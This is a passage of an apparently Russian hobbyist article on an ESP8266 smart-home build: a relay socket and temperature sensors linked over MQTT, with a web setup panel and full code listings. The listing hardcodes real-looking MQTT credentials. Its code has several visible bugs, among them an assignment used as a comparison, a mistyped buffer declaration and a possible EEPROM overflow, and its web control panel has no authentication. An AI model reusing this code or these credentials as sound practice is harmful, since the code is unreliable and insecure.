ptr += ".button {display: block;width: 80px;background-color: #1abc9c;border: none;color: white;padding: 13px 30px;text-decoration: none;font-size: 25px;margin: 0px auto 35px;cursor: pointer;border-radius: 4px;}\n";
ptr += ".button-on {background-color: #1abc9c;}\n";
ptr += ".button-on:active {background-color: #16a085;}\n";
ptr += ".button-off {background-color: #34495e;}\n";
ptr += ".button-off:active {background-color: #2c3e50;}\n";
ptr += "p {font-size: 14px;color: #888;margin-bottom: 10px;}\n";
ptr += "\n";
ptr += "\n";
ptr += "\n";
ptr += "Настройка WIFI
==============
\n";
ptr += "### Укажите название и пароль от нужной wifi сети
\n";
ptr += "";
ptr += "Название:
";
ptr += "";
ptr += "
";
ptr += "Пароль:
";
ptr += "";
ptr += "
";
ptr += "Тайминг отправки(в секундах):
";
ptr += "";
ptr += "
";
ptr += "Название модуля:
";
ptr += "
";
ptr += "
";
ptr += "";
ptr += "";
ptr += "\n";
ptr += "\n";
return ptr;
}
```
Меню для настройки: слева - для модуля-датчика, справа - для модуля-розеткиПо нажатии кнопки "закончить" в действие вступает следующий handle -
```
void handleForm() {//версия для модуля - розетки
ssid = server.arg("WIFI_NAME");
password = server.arg("WIFI_password");
device_id = server.arg("DEVICE_ID");
local_ip_2.fromString(server.arg("LOCAL_IP"));
gateway_2.fromString(server.arg("GATEWAY"));
write_string_EEPROM(200, server.arg("LOCAL_IP"));
write_string_EEPROM(220, server.arg("GATEWAY"));
Serial.print("WIFI: ");
Serial.println(ssid);
Serial.print("password: ");
Serial.println(password);
server.send(200, "text/html", SendEndHTML()); //Send web page
}
void handleForm() {//версия для модуля - датчика
ssid = server.arg("WIFI_NAME");
password = server.arg("WIFI_password");
device_id = server.arg("DEVICE_ID");
tmi = server.arg("TIMING").toInt();
Serial.print("WIFI: ");
Serial.println(ssid);
Serial.print("password: ");
Serial.println(password);
server.send(200, "text/html", SendEndHTML()); //Send web page
}
String SendEndHTML() {
String ptr = "\n";
ptr += "\n";
ptr += "WIFI Control\n";
ptr += "html { font-family: Helvetica; display: inline-block; margin: 0px auto; text-align: center;}\n";
ptr += "body{margin-top: 50px;} h1 {color: #444444;margin: 50px auto 30px;}\n";
ptr += "p {font-size: 14px;color: #888;margin-bottom: 10px;}\n";
ptr += "\n";
ptr += "\n";
ptr += "\n";
ptr += "[Вернуться к настройки
=====================](/)\n";
ptr += "[Продолжить
==========](/end_setup)\n";
ptr += "\n";
ptr += "\n";
return ptr;
}
```
форма выбораПри нажатии на кнопку "Вернуться к настройки" пользователь вернется на первую страницу, а при нажатии на кнопку "продолжить" сработает следующий handle, который перезапишет в EEPROM ssid и пароль от WIFI, переведет модуль в режим нормальной работы -
```
void handle_EndSetup() {
write_string_EEPROM(0, ssid);
write_string_EEPROM(20, password);
EEPROM.begin(256);
EEPROM.write(45, false);
setup_mode = false;
EEPROM.commit();
EEPROM.end();
WiFi.softAPdisconnect(true);
ESP.reset();
}
```
Немного про саму запись в EEPROM. Для записи и чтения строк в него используются две функции -
```
void write_string_EEPROM (int Addr, String Str) {//Запись строки в EEPROM
//Addr - начальный байт, str - строка. Строка не может быть больше 15 символов
byte lng = Str.length();
EEPROM.begin (256);
EEPROM.write(Addr , lng);
unsigned char* buf = new unsigned char[15];
Str.getBytes(buf, lng + 1);
Addr++;
for (byte i = 0; i < lng; i++) {
EEPROM.write(Addr + i, buf[i]);
delay(10);
}
EEPROM.commit();
EEPROM.end();
}
char read_string_EEPROM (int Addr) {// Чтение строки из EEPROM
//Addr - начальный байт
EEPROM.begin(256);
byte lng = EEPROM.read(Addr);
char buf = new char[15];
Addr++;
for (byte i = 0; i < lng && i < 15; i++) buf[i] = char(EEPROM.read(i + Addr));
buf[lng] = '\x0';
EEPROM.end();
return buf;
}
```
Вообще, хорошо бы вместо EEPROM использовать FS.h (файловую систему),но тогда до меня это не дошло.
Режим нормально работы (модуль - розетка)
-----------------------------------------
Теперь, когда наши модули настроены, можно рассмотреть их основные функции.
Рассмотрим SETUP, который запускается при старте модуля в данном режиме:
```
pinMode(RELEPIN, OUTPUT);
Serial.begin(115200);
EEPROM.begin(256);//подключаем EEPROM
setup_mode = EEPROM.read(45);// читаем из EERPOM текущий режим
rele = EEPROM.read(60);// читаем из EERPOM текущее состояние реле
EEPROM.end();//отключаем EEPROM
if (rele) digitalWrite(RELEPIN, HIGH); else digitalWrite(RELEPIN, LOW);
local_ip_2.fromString(String(read_string_EEPROM(200)));//читаем IP из eeprom
gateway_2.fromString(String(read_string_EEPROM(220)));//читаем гейт из eeprom
WiFi.begin(read_string_EEPROM(0), read_string_EEPROM(20));
int sm = 0;
while (WiFi.status() != WL_CONNECTED) {
delay(500); sm++;
Serial.print(".");
if (sm > 120) {
handle_ReturnSetup();
}
}
WiFi.config(local_ip_2, gateway_2, subnet_2);
Serial.println("WiFi connected");
Serial.print("IP address: ");
Serial.println(WiFi.localIP());
read_auto();
server.on("/", handle_OnConnect_2);
server.on("/select_auto", handle_SelectAuto);
server.on("/rele_auto", handle_ReleAuto);
server.on("/delete_page", handle_Delete);
server.on("/return_setup", handle_ReturnSetup);
server.on("/control_menu", handle_ControlMenu);
server.on("/rele_off", handle_ReleOff);
server.on("/rele_on", handle_ReleOn);
server.on("/auto_off", handle_AutoOff);
server.on("/auto_on", handle_AutoOn);
server.onNotFound(handle_NotFound);
server.begin();
Serial.println("HTTP server started");
if (client.connect(MQTT::Connect(ID).set_auth(mqtt_user, mqtt_pass))) {
Serial.println("Connected to MQTT server");
client.subscribe("/datk"); // подписываемся на топик с данными датчиков
//client.subscribe("/cmd"); // подписываемся на топик с командами
client.set_callback(callback);
} else {
Serial.println("Could not connect to MQTT server");
}
```
Обработчик MQTT:
```
void perek(bool per) { //per = true = прямой режим, per = true = обратный режим
EEPROM.begin(256);
if (auto_mode) {
if (per) {
rele = 0;
digitalWrite(RELEPIN, LOW);
}
else {
rele = 1;
digitalWrite(RELEPIN, HIGH);
}
}
else {
if (per) {
rele = 1;
digitalWrite(RELEPIN, HIGH);
}
else {
rele = 0;
digitalWrite(RELEPIN, LOW);
}
}
EEPROM.write(60, rele);
EEPROM.commit();
EEPROM.end();
}
void callback(const MQTT::Publish& pub)
{
Serial.print(pub.topic()); // выводим в сериал порт название топика
Serial.print(" => ");
Serial.print(pub.payload_string()); // выводим в сериал порт значение полученных данных
String payload = pub.payload_string();
if (String(pub.topic()) == "/datk") // проверяем из нужного ли нам топика пришли данные
{
String tmpstr = "", namest, znachs;
int datat;
int mod = 0;
bool tr = false;
for (int i = 0 ; i < payload.length(); i++) {
if (payload[i] != '#') tmpstr += payload[i]; else {
switch (mod) {
case 0:
namest = tmpstr;
break;
case 1:
datat = tmpstr.toInt();
break;
case 2:
znachs = tmpstr;
break;
}
tmpstr = "";
mod++;
}
}
for (int i = 0; i < lng && !tr; i++) {
if (names[i] == namest) {
data[i] = datat;
tr = true;
}
}
if (!tr) {
lng++;
names[lng - 1] = namest;
data[lng - 1] = datat;
znach[lng - 1] = znachs;
}
if (auto_stat && namest == auto_name) {
switch (auto_oper) {
case 0:
if (auto_data > datat) perek(true);
if (auto_data < datat) perek(false);
break;
case 1:
if (auto_data < datat) perek(true);
if (auto_data > datat) perek(false);
break;
case 2:
if (auto_data = datat) perek(true);
if (auto_data != datat) perek(false);
break;
}
}
}
```
Функция "Perek" используется для правильного переключения реле.
В блоке с подключением к WIFI, если модуль минуту не может подключиться к WIFI, то он переходит в режим настройки.
Первый же handle:
```
void handle_OnConnect_2() {
server.send(200, "text/html", SendMenuHTML());
}
String SendMenuHTML() {
String ptr = " \n";
ptr += "\n";
ptr += "WIFI Control\n";
ptr += "html { font-family: Helvetica; display: inline-block; margin: 0px auto; text-align: center;}\n";
ptr += "body{margin-top: 50px;} h1 {color: #444444;margin: 50px auto 30px;} h3 {color: #444444;margin-bottom: 50px;}\n";
ptr += ".button {display: block;width: 80px;background-color: #1abc9c;border: none;color: white;padding: 13px 30px;text-decoration: none;font-size: 25px;margin: 0px auto 35px;cursor: pointer;border-radius: 4px;}\n";
ptr += ".button-on {background-color: #1abc9c;}\n";
ptr += ".button-on:active {background-color: #16a085;}\n";
ptr += ".button-off {background-color: #34495e;}\n";
ptr += ".button-off:active {background-color: #2c3e50;}\n";
ptr += "p {font-size: 14px;color: #888;margin-bottom: 10px;}\n";
ptr += "\n";
ptr += "\n";
ptr += "\n";
ptr += "WIFI меню
=========
\n";
ptr += "### Выберете пункт меню:
\n";
ptr += "
";
ptr += "
";
ptr += "
";
ptr += "\n";
ptr += "\n";
return ptr;
}
```
Само меню выглядит так:
Кнопка "Вернуться в режим настройки", как понятно из названия, отправляет модуль обратно в режим настройки.
Возвращение к меню управления происходит через handle:
```
void handle_ReturnSetup() {
EEPROM.begin(256);
EEPROM.write(45, true);
setup_mode = true;
EEPROM.commit();
EEPROM.end();
ESP.reset();
}
```
Для перехода к меню управления используется handle (Больше handle богу handle!):
```
void handle_ControlMenu() {
server.send(200, "text/html", SendControlMenuHTML());
}
String SendControlMenuHTML() {
String ptr = " \n";
ptr += "\n";
ptr += "WIFI Control\n";
ptr += "html { font-family: Helvetica; display: inline-block; margin: 0px auto; text-align: center;}\n";
ptr += "body{margin-top: 50px;} h1 {color: #444444;margin: 50px auto 30px; } h3 {color: #444444;margin-bottom: 50px;} h4 {color: #444444;margin-bottom: 20px;}\n";
ptr += "p {font-size: 14px;color: #888;margin-bottom: 10px;}\n";
ptr += "\n";
ptr += "\n";
ptr += "\n";
ptr += "Панель управления
=================
\n";
ptr += "
";
if (rele) {
ptr += "
";
}
if (!rele) {
ptr += "
";
}
ptr += "### Датчики:
\n";
//ptr += "#### Датчики:
\n";
for (int i = 0 ; i < lng; i++) {
ptr += "#### " + names[i] + " : " + data[i] + " " + znach[i] + "
";
}
ptr += "";
ptr += "Название: ";
ptr += " ";
//ptr += "
";
ptr += "";
ptr += "";
ptr += "
";
ptr += "\n";
ptr += "\n";
return ptr;
}
```
Панель управленияРассмотрим элементы управления сверху-вниз. В самом верху находится кнопка возвращения в первоначальное меню, следом идет управления реле/розеткой, меняющее свое значение в зависимости от состояние реле, и в зависимости от него используются один из этих handle:
```
void handle_ReleOff() {//выключание реле
rele = 0;
digitalWrite(RELEPIN, LOW);
EEPROM.begin(256);
EEPROM.write(60, 0);
EEPROM.commit();
EEPROM.end();
server.send(200, "text/html", SendControlMenuHTML());
}
void handle_ReleOn() {//включение реле
rele = 1;
digitalWrite(RELEPIN, HIGH );
EEPROM.begin(256);
EEPROM.write(60, 1);
EEPROM.commit();
EEPROM.end();
server.send(200, "text/html", SendControlMenuHTML());
}
```
Далее список датчиков и их показаний, которые можно удалить в следующей форме. Список датчиков обновляется по мере поступления данных, обновление страницы идет с помощью кнопки "обновить".
Удаление датчиков идет с помощью handle:
```
void handle_Delete() {
String delname = server.arg("DELETE_NAME");
bool tr = false;
for (int i = 0 ; i < lng; i++) {
if (tr) {
names[i - 1] = names[i];
data[i - 1] = data[i];
znach[i - 1] = znach[i];
}
else if (names[i] == delname) {
tr = true;
}
}
if (tr) lng--;
server.send(200, "text/html", SendControlMenuHTML());
}
```
Программа ищет имя данного датчика и удаляет его, перемещая список на 1 пункт ниже, после найденного элемента.
Поднимемся на уровень выше и перейдем к настройки автоматического управления розеткой.
```
void handle_ReleAuto() {
server.send(200, "text/html", SendControlReleAutoHTML());
}
String SendControlReleAutoHTML() {
String ptr = " \n";
ptr += "\n";
ptr += "WIFI Control\n";
ptr += "html { font-family: Helvetica; display: inline-block; margin: 0px auto; text-align: center;}\n";
ptr += "body{margin-top: 50px;} h1 {color: #444444;margin: 50px auto 30px; } h3 {color: #444444;margin-bottom: 50px;} h4 {color: #444444;margin-bottom: 20px;}\n";
ptr += "p {font-size: 14px;color: #888;margin-bottom: 10px;}\n";
ptr += "\n";
ptr += "\n";
ptr += "\n";
ptr += "Настройка автоматического управления розетки
============================================
";
if (auto\_stat) {
ptr += "### Автоматическое управления включено
";
}
else {
ptr += "### Автоматическое управления выключено
";
}
ptr += "### Текущее условие:" + auto\_name + " ";
switch (auto\_oper) {
case 0 : ptr += "> ";
break;
case 1 : ptr += "< ";
break;
case 2 : ptr += "= ";
break;
}
if (auto\_mode)
ptr += String(auto\_data) + " выключать
";
else
ptr += String(auto\_data) + " включать ";
ptr += "### Выберете датчик и параметр для него:
\n";
ptr += "";
ptr += "";
for (int i = 0 ; i < lng; i++) {
ptr += "" + names[i] + "";
}
ptr += " ";
ptr += "";
ptr += ">";
ptr += "<";
ptr += "=";
ptr += " ";
ptr += " ";
ptr += "";
ptr += "";
ptr += "Включать";
ptr += "Выключать";
ptr += " ";
//ptr += "
";
ptr += "";
ptr += "";
ptr += "
";
if (auto\_stat) {
ptr += "
";
}
else {
ptr += "
";
}
ptr += "
";
ptr += "\n";
ptr += "\n";
return ptr;
}
```
В начало программы добавляются константы:
```
String auto_name = "example";
int auto_data = 10;
int auto_oper = 0;
bool auto_stat = false;// false - не работает, true - работает
bool auto_mode = false; //false - включать, true - выключать
String names[10];// массив имен модулей
String znach[10];// массив едениц измерения модулей
int data[10];// массив данных модулей
int lng = 0;//используемая длина
```
Меню автоматического управленияРассмотрим также сверху-вниз, пропуская название сверху. Сначала нам дается информация о том, включено или нет авто управление. Ниже показывается текущее условие. Чтобы перенастроить модуль надо выбрать в форме ниже модуль, условие, значение и действия, а по окончанию нажать кнопку "настроить". Кнопка "обновить" служит для обновления списка датчиков.
Настройка происходит также через handle:
```
void handle_SelectAuto() {
auto_name = names[server.arg("DAT_NAME").toInt()];
auto_oper = server.arg("OPER").toInt();
auto_data = server.arg("DATA_P").toInt();
auto_mode = server.arg("ON_OFF").toInt();
write_string_EEPROM(70, auto_name);
write_string_EEPROM(110, server.arg("OPER"));
write_string_EEPROM(90, server.arg("DATA_P"));
EEPROM.begin(256);
EEPROM.write(130, auto_mode);
EEPROM.commit();
EEPROM.end();
server.send(200, "text/html", SendControlReleAutoHTML());
}
```
Включение/выключение авто управление происходит по типу выключения/выключения реле:
```
void handle_AutoOff() {//отключение авто управления
auto_stat = 0;
server.send(200, "text/html", SendControlReleAutoHTML());
}
void handle_AutoOn() {//включение авто управления
auto_stat = 1;
server.send(200, "text/html", SendControlReleAutoHTML());
}
```
Ну и последняя кнопка возвращает обратно в меню.
### Режим нормально работы (модуль - датчик)
Для обоих датчиков смысл данного режима одинаков, различия только самих датчиках и в способе обращения к ним.
После перехода в режим настройки работы, модуль должен проснуться, подключиться к WIFI и отправить данные по MQTT.
Вся программа содержится в блоке SETUP, рассмотрим сначала датчик на DHT11:
```
#include "DHT.h"//библиотека DHT
#define DHTTYPE DHT11
uint8_t DHTPin = 5;
int tempC = 0;
int humC = 0;
int tmi = 10;// тайминг отправки данных
DHT dht(DHTPin, DHTTYPE);
void setup() {
pinMode(DHTPin, INPUT);
Serial.begin(115200);
EEPROM.begin(256);
setup_mode = EEPROM.read(85);
EEPROM.end();
device_id = read_string_EEPROM(40);
if (!setup_mode) {//режим нормально работы
dht.begin();
tmi = String(read_string_EEPROM(200)).toInt(); //считываем тайминг отправки данных
local_ip.fromString(String(read_string_EEPROM(200)));
gateway.fromString(String(read_string_EEPROM(220)));
WiFi.begin(read_string_EEPROM(0), read_string_EEPROM(20));
int sm = 0;
while (WiFi.status() != WL_CONNECTED) {
delay(500); sm++;
Serial.print(".");
if (sm > 120) {
ReturnSetup();
}
}
Serial.println("WiFi connected");
tempC = (int)dht.readTemperature(); //считывание температуры в цельсиях
humC = (int)dht.readHumidity(); //считывание влажности воздуха
if (client.connect(MQTT::Connect(ID).set_auth(mqtt_user, mqtt_pass))) {
Serial.println("Connected to MQTT server");
} else {
Serial.println("Could not connect to MQTT server");
}
client.publish("/datk", device_id+"_t" + "#" + String(tempC) + "#градусов#");
client.publish("/datk", device_id+"_hm" + "#" + String(humC) + "#влажности#");
delay(100);
ESP.deepSleep(tmi * 1000000);//модуль засыпает на определенное время
}
else {//режим настройки
delay(1000);
WiFi.softAP(ssid_ap, password_ap);
WiFi.softAPConfig(local_ip, gateway, subnet);
delay(100);
server.on("/", handle_OnConnect);
server.on("/end_setup", handle_EndSetup);
server.on("/action_page", handleForm);
server.onNotFound(handle_NotFound);
server.begin();
Serial.println("HTTP server started");
}
}
```
Теперь SETUP для модуля с ds18b20:
```
#include //библиотека ds18b20
#define ONE\_WIRE\_BUS 5
OneWire oneWire(ONE\_WIRE\_BUS);
DallasTemperature DS18B20(&oneWire);
char temperatureCString[7];
int tempC = 0;
int tmi = 10;//тайминг отправки данных
void getTemperature()//считывание температуры с датчика
{
do {
DS18B20.requestTemperatures();
tempC = DS18B20.getTempCByIndex(0);
dtostrf(tempC, 2, 2, temperatureCString);
delay(100);
} while (tempC == 85.0 || tempC == (-127.0));
}
void setup() {
Serial.begin(115200);
EEPROM.begin(256);
setup\_mode = EEPROM.read(85);
EEPROM.end();
device\_id = read\_string\_EEPROM(40);
if (!setup\_mode) {//режим нормально работы
DS18B20.begin();
tmi = String(read\_string\_EEPROM(200)).toInt(); //считываем тайминг отправки данных
local\_ip.fromString(String(read\_string\_EEPROM(200)));
gateway.fromString(String(read\_string\_EEPROM(220)));
WiFi.begin(read\_string\_EEPROM(0), read\_string\_EEPROM(20));
int sm = 0;
while (WiFi.status() != WL\_CONNECTED) {
delay(500); sm++;
Serial.print(".");
if (sm > 120) {
ReturnSetup();
}
}
getTemperature();//считываем температуру
Serial.println("WiFi connected");
if (client.connect(MQTT::Connect(ID).set\_auth(mqtt\_user, mqtt\_pass))) {
Serial.println("Connected to MQTT server");
} else {
Serial.println("Could not connect to MQTT server");
}
client.publish("/datk", device\_id + "#" + String(tempC) + "#градусов#");м;
delay(100);
ESP.deepSleep(tmi \* 1000000);//модуль засыпает на определенное время
}
else {//режим настройки
delay(1000);
WiFi.softAP(ssid\_ap, password\_ap);
WiFi.softAPConfig(local\_ip, gateway, subnet);
delay(100);
server.on("/", handle\_OnConnect);
server.on("/end\_setup", handle\_EndSetup);
server.on("/action\_page", handleForm);
server.onNotFound(handle\_NotFound);
server.begin();
Serial.println("HTTP server started");
}
}
```
Тут также, как и с датчиком - розеткой, если модуль не может подключиться к WIFI более 1 минуты, то модуль переходит в режим настройки. В момент "сна" ESP практически полностью выключена, работает только RTC таймер, а просыпается от того, что пин, подключенный к RTC таймеру и к пину "Reset", подаёт положительный сигнал, перезагружая МК .
Видео с работой системы
-----------------------
Заключение
----------
Принципе, с натяжкой, это можно назвать "системой умного дома". Конечно, она работает, но есть много нюансов, недоработок... Как начальный проект я доволен, буду дорабатывать, например, добавлю поддержку нескольких модулей - розеток, так же более сложны условия и нормальное использование возможностей MQTT. Также не помешает глобальный рефакторинг кода...
Листинги и файлы
----------------
Листинг программы для модуля - розетки
```
#include
#include
#include
#include
#include
#define RELEPIN 4
const char \*ssid\_ap = "Rozetka\_Setup"; //имя точки доступа модуля
const char \*password\_ap = "12345678"; //пароль точки доступа модуля
const char \*ID = "rele\_1";
String ssid = ""; //имя wifi
String password = ""; //пароль wifi
String device\_id; // ID модуля
bool setup\_mode; // true - первичная настройка модуля, false - основная работа модуля
bool rele;
String auto\_name = "example";
int auto\_data = 10;
int auto\_oper = 0;
bool auto\_stat = false;// false - не работает, true - работает
bool auto\_mode = false; //false - включать, true - выключать
const char \*mqtt\_server = "M5.WQTT.RU"; // Имя сервера MQTT
const int mqtt\_port = 2602; // Порт для подключения к серверу MQTT
const char \*mqtt\_user = "u\_RSELYN"; // Логин от серверa
const char \*mqtt\_pass = "bhbtIJue"; // Пароль от сервера
String names[10];// массив имен модулей
String znach[10];// массив единиц измерения модулей
int data[10];// массив данных модулей
int lng = 0;//используемая длина
IPAddress local\_ip(192, 168, 1, 1);
IPAddress gateway(192, 168, 1, 1);
IPAddress subnet(255, 255, 255, 0);
IPAddress local\_ip\_2(192, 168, 0, 250);
IPAddress gateway\_2(192, 168, 0, 1);
IPAddress subnet\_2(255, 255, 255, 0);
ESP8266WebServer server(80);// server для настройки
WiFiClient wclient;
PubSubClient client(wclient, mqtt\_server, mqtt\_port);
void write\_string\_EEPROM (int Addr, String Str) {
byte lng = Str.length();
EEPROM.begin (256);
EEPROM.write(Addr , lng);
unsigned char\* buf = new unsigned char[15];
Str.getBytes(buf, lng + 1);
Addr++;
for (byte i = 0; i < lng; i++) {
EEPROM.write(Addr + i, buf[i]);
delay(10);
}
EEPROM.commit();
EEPROM.end();
}
char \*read\_string\_EEPROM (int Addr) {
EEPROM.begin(256);
byte lng = EEPROM.read(Addr);
char\* buf = new char[15];
Addr++;
for (byte i = 0; i < lng && i < 15; i++) buf[i] = char(EEPROM.read(i + Addr));
buf[lng] = '\x0';
EEPROM.end();
return buf;
}
void setup() {
pinMode(RELEPIN, OUTPUT);
Serial.begin(115200);
EEPROM.begin(256);
setup\_mode = EEPROM.read(45);// читаем из EERPOM текущий режим
rele = EEPROM.read(60);// читаем из EERPOM текущее состояние реле
EEPROM.end();
if (rele) digitalWrite(RELEPIN, HIGH); else digitalWrite(RELEPIN, LOW);
if (!setup\_mode) { //если модуль в режиме нормальной работы
local\_ip\_2.fromString(String(read\_string\_EEPROM(200)));//читаем IP из eeprom
gateway\_2.fromString(String(read\_string\_EEPROM(220)));//читаем гейт из eeprom
//Serial.println(read\_string\_EEPROM(0));
//Serial.println(read\_string\_EEPROM(20));
WiFi.begin(read\_string\_EEPROM(0), read\_string\_EEPROM(20));
int sm = 0;
while (WiFi.status() != WL\_CONNECTED) {
delay(500); sm++;
Serial.print(".");
if (sm > 120) {
handle\_ReturnSetup();
}
}
WiFi.config(local\_ip\_2, gateway\_2, subnet\_2);
Serial.println("WiFi connected");
Serial.print("IP address: ");
Serial.println(WiFi.localIP());
read\_auto();
server.on("/", handle\_OnConnect\_2);
server.on("/select\_auto", handle\_SelectAuto);
server.on("/rele\_auto", handle\_ReleAuto);
server.on("/delete\_page", handle\_Delete);
server.on("/return\_setup", handle\_ReturnSetup);
server.on("/control\_menu", handle\_ControlMenu);
server.on("/rele\_off", handle\_ReleOff);
server.on("/rele\_on", handle\_ReleOn);
server.on("/auto\_off", handle\_AutoOff);
server.on("/auto\_on", handle\_AutoOn);
server.onNotFound(handle\_NotFound);
server.begin();
Serial.println("HTTP server started");
if (client.connect(MQTT::Connect(ID).set\_auth(mqtt\_user, mqtt\_pass))) {
Serial.println("Connected to MQTT server");
client.subscribe("/datk"); // подписывааемся на топик с данными датчиков
//client.subscribe("/cmd"); // подписывааемся на топик с командами
client.set\_callback(callback);
} else {
Serial.println("Could not connect to MQTT server");
}
}
else {//если модуль в режиме настройки
delay(1000);
WiFi.softAP(ssid\_ap, password\_ap);
WiFi.softAPConfig(local\_ip, gateway, subnet);
delay(100);
server.on("/", handle\_OnConnect);
server.on("/end\_setup", handle\_EndSetup);
server.on("/action\_page", handleForm);
server.onNotFound(handle\_NotFound);
server.begin();
Serial.println("HTTP server started");
}
}
void read\_auto() {
EEPROM.begin(256);
auto\_mode = EEPROM.read(130);
EEPROM.end();
auto\_data = String(read\_string\_EEPROM(90)).toInt();
Serial.println(read\_string\_EEPROM(90));
auto\_oper = String(read\_string\_EEPROM(110)).toInt();
auto\_name = read\_string\_EEPROM(70);
}
void perek(bool per) { //per = true = прямой режим, per = true = обратный режим
EEPROM.begin(256);
if (auto\_mode) {
if (per) {
rele = 0;
digitalWrite(RELEPIN, LOW);
}
else {
rele = 1;
digitalWrite(RELEPIN, HIGH);
}
}
else {
if (per) {
rele = 1;
digitalWrite(RELEPIN, HIGH);
}
else {
rele = 0;
digitalWrite(RELEPIN, LOW);
}
}
EEPROM.write(60, rele);
EEPROM.commit();
EEPROM.end();
}
void loop() {
server.handleClient();
if (client.connected()) {
client.loop();
}
}
void callback(const MQTT::Publish& pub)
{
Serial.print(pub.topic()); // выводим в сериал порт название топика
Serial.print(" => ");
Serial.print(pub.payload\_string()); // выводим в сериал порт значение полученных данных
String payload = pub.payload\_string();
if (String(pub.topic()) == "/datk") // проверяем из нужного ли нам топика пришли данные
{
String tmpstr = "", namest, znachs;
int datat;
int mod = 0;
bool tr = false;
for (int i = 0 ; i < payload.length(); i++) {
if (payload[i] != '#') tmpstr += payload[i]; else {
switch (mod) {
case 0:
namest = tmpstr;
break;
case 1:
datat = tmpstr.toInt();
break;
case 2:
znachs = tmpstr;
break;
}
tmpstr = "";
mod++;
}
}
for (int i = 0; i < lng && !tr; i++) {
if (names[i] == namest) {
data[i] = datat;
tr = true;
}
}
if (!tr) {
lng++;
names[lng - 1] = namest;
data[lng - 1] = datat;
znach[lng - 1] = znachs;
}
if (auto\_stat && namest == auto\_name) {
switch (auto\_oper) {
case 0:
if (auto\_data > datat) perek(true);
if (auto\_data < datat) perek(false);
break;
case 1:
if (auto\_data < datat) perek(true);
if (auto\_data > datat) perek(false);
break;
case 2:
if (auto\_data = datat) perek(true);
if (auto\_data != datat) perek(false);
break;
}
}
}
/\*if (String(pub.topic()) == "/сmd"){
if(pub.payload\_string()=="ON")
{
rele = 1;
digitalWrite(RELEPIN, HIGH );
EEPROM.begin(256);
EEPROM.write(60, 1);
EEPROM.commit();
EEPROM.end();
}
else
{
rele = 0;
digitalWrite(RELEPIN, LOW );
EEPROM.begin(256);
EEPROM.write(60, 0);
EEPROM.commit();
EEPROM.end();
}
}\*/
}
void handle\_ReturnSetup() {
EEPROM.begin(256);
EEPROM.write(45, true);
setup\_mode = true;
EEPROM.commit();
EEPROM.end();
ESP.reset();
}
void handle\_Delete() {
String delname = server.arg("DELETE\_NAME");
bool tr = false;
for (int i = 0 ; i < lng; i++) {
if (tr) {
names[i - 1] = names[i];
data[i - 1] = data[i];
znach[i - 1] = znach[i];
}
else if (names[i] == delname) {
tr = true;
}
}
if (tr) lng--;
server.send(200, "text/html", SendControlMenuHTML());
}
void handle\_ReleAuto() {
server.send(200, "text/html", SendControlReleAutoHTML());
}
void handle\_SelectAuto() {
auto\_name = names[server.arg("DAT\_NAME").toInt()];
auto\_oper = server.arg("OPER").toInt();
auto\_data = server.arg("DATA\_P").toInt();
auto\_mode = server.arg("ON\_OFF").toInt();
Serial.println(auto\_name);
Serial.println(auto\_oper);
Serial.println(auto\_data);
Serial.println(auto\_mode);
write\_string\_EEPROM(70, auto\_name);
write\_string\_EEPROM(110, server.arg("OPER"));
write\_string\_EEPROM(90, server.arg("DATA\_P"));
EEPROM.begin(256);
EEPROM.write(130, auto\_mode);
EEPROM.commit();
EEPROM.end();
server.send(200, "text/html", SendControlReleAutoHTML());
}
void handle\_AutoOff() {
auto\_stat = 0;
server.send(200, "text/html", SendControlReleAutoHTML());
}
void handle\_AutoOn() {
auto\_stat = 1;
server.send(200, "text/html", SendControlReleAutoHTML());
}
void handle\_ReleOff() {
rele = 0;
digitalWrite(RELEPIN, LOW);
EEPROM.begin(256);
EEPROM.write(60, 0);
EEPROM.commit();
EEPROM.end();
server.send(200, "text/html", SendControlMenuHTML());
}
void handle\_ReleOn() {
rele = 1;
digitalWrite(RELEPIN, HIGH );
EEPROM.begin(256);
EEPROM.write(60, 1);
EEPROM.commit();
EEPROM.end();
server.send(200, "text/html", SendControlMenuHTML());
}
void handle\_OnConnect() {
server.send(200, "text/html", SendHTML());
}
void handle\_OnConnect\_2() {
server.send(200, "text/html", SendMenuHTML());
}
void handleForm() {
ssid = server.arg("WIFI\_NAME");
password = server.arg("WIFI\_password");
device\_id = server.arg("DEVICE\_ID");
local\_ip\_2.fromString(server.arg("LOCAL\_IP"));
gateway\_2.fromString(server.arg("GATEWAY"));
write\_string\_EEPROM(200, server.arg("LOCAL\_IP"));
write\_string\_EEPROM(220, server.arg("GATEWAY"));
Serial.print("WIFI: ");
Serial.println(ssid);
Serial.print("password: ");
Serial.println(password);
server.send(200, "text/html", SendEndHTML()); //Send web page
}
void handle\_EndSetup() {
write\_string\_EEPROM(0, ssid);
write\_string\_EEPROM(20, password);
EEPROM.begin(256);
EEPROM.write(45, false);
setup\_mode = false;
EEPROM.commit();
EEPROM.end();
WiFi.softAPdisconnect(true);
ESP.reset();
}
void handle\_ControlMenu() {
server.send(200, "text/html", SendControlMenuHTML());
}
void handle\_NotFound() {
server.send(404, "text/plain", "Not found");
}
String SendEndHTML() {
String ptr = "\n";
ptr += "\n";
ptr += "WIFI Control\n";
ptr += "html { font-family: Helvetica; display: inline-block; margin: 0px auto; text-align: center;}\n";
ptr += "body{margin-top: 50px;} h1 {color: #444444;margin: 50px auto 30px;}\n";
ptr += "p {font-size: 14px;color: #888;margin-bottom: 10px;}\n";
ptr += "\n";
ptr += "\n";
ptr += "\n";
ptr += "[Вернуться к настройки
=====================](/)\n";
ptr += "[Продолжить
==========](/end_setup)\n";
ptr += "\n";
ptr += "\n";
return ptr;
}
String SendHTML() {
String ptr = " \n";
ptr += "\n";
ptr += "WIFI Control\n";
ptr += "html { font-family: Helvetica; display: inline-block; margin: 0px auto; text-align: center;}\n";
ptr += "body{margin-top: 50px;} h1 {color: #444444;margin: 50px auto 30px;} h3 {color: #444444;margin-bottom: 50px;}\n";
ptr += ".button {display: block;width: 80px;background-color: #1abc9c;border: none;color: white;padding: 13px 30px;text-decoration: none;font-size: 25px;margin: 0px auto 35px;cursor: pointer;border-radius: 4px;}\n";
ptr += ".button-on {background-color: #1abc9c;}\n";
ptr += ".button-on:active {background-color: #16a085;}\n";
ptr += ".button-off {background-color: #34495e;}\n";
ptr += ".button-off:active {background-color: #2c3e50;}\n";
ptr += "p {font-size: 14px;color: #888;margin-bottom: 10px;}\n";
ptr += "\n";
ptr += "\n";
ptr += "\n";
ptr += "Настройка WIFI
==============
\n";
ptr += "### Укажите название и пароль от нужной wifi сети
\n";
ptr += "";
ptr += "Название:
";
ptr += "";
ptr += "
";
ptr += "Пароль:
";
ptr += "";
ptr += "
";
ptr += "Название модуля:
";
